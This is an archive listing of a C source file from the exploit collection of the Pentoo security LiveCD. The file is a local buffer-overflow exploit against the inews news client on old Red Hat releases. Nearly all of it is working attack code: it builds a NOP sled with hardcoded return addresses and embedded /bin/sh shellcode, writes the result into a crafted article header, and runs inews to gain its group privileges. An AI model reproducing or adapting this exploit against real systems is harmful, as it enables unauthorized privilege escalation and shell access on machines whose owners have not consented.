home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / nntp / inews_expl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  69 lines

  1. /* inews exploit , gives you the inews egid .
  2. * bawd@kitetoa.com
  3. * greetz to nitro,shivan,rfp & Minus :)
  4. *
  5. *
  6. * RET addresses change between RH 5.2 ,6.0 etc..
  7. *
  8. * RH 5.2 RET = 0xbffff6f0
  9. * RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
  10. */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <unistd.h>
  15. #include <string.h>
  16. #define DEFAULT_OFFSET 0
  17. #define BUFFER_SIZE 540
  18. #define RET 0xbffff6f0
  19.  
  20.  
  21.  
  22. main (int argc, char *argv[])
  23. {
  24. FILE *fp;
  25. int offset = 0;
  26. char *buff = NULL;
  27. int i;
  28.  
  29. u_char execshell[] =
  30. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
  31. "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  32. "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
  33. "\xd7\xff\xff\xff/bin/sh";
  34.  
  35.  
  36.  
  37. if (argc > 1)
  38. offset = atoi (argv[1]);
  39.  
  40. buff = malloc (1024);
  41.  
  42. if (!buff)
  43. {
  44. printf ("malloc isnt working\n");
  45. exit (0);
  46. }
  47.  
  48. memset (buff, 0x90, BUFFER_SIZE);
  49.  
  50. for (i = 100; i < BUFFER_SIZE - 4; i += 4)
  51. *(long *) &buff[i] = RET + offset;
  52.  
  53. memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));
  54.  
  55. if ((fp = fopen ("filez", "w")) != NULL)
  56. {
  57.   fprintf (fp, "From: %s\nSubject: y0\nNewsgroups: yaya le chat\n\n\n\n\n", 
  58. buff);
  59.   fclose (fp);
  60.   execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
  61.   }
  62.  
  63. else {
  64.      printf ("Couldnt open file : filez\n");
  65.      exit (0);
  66.      }
  67.  
  68. }
  69.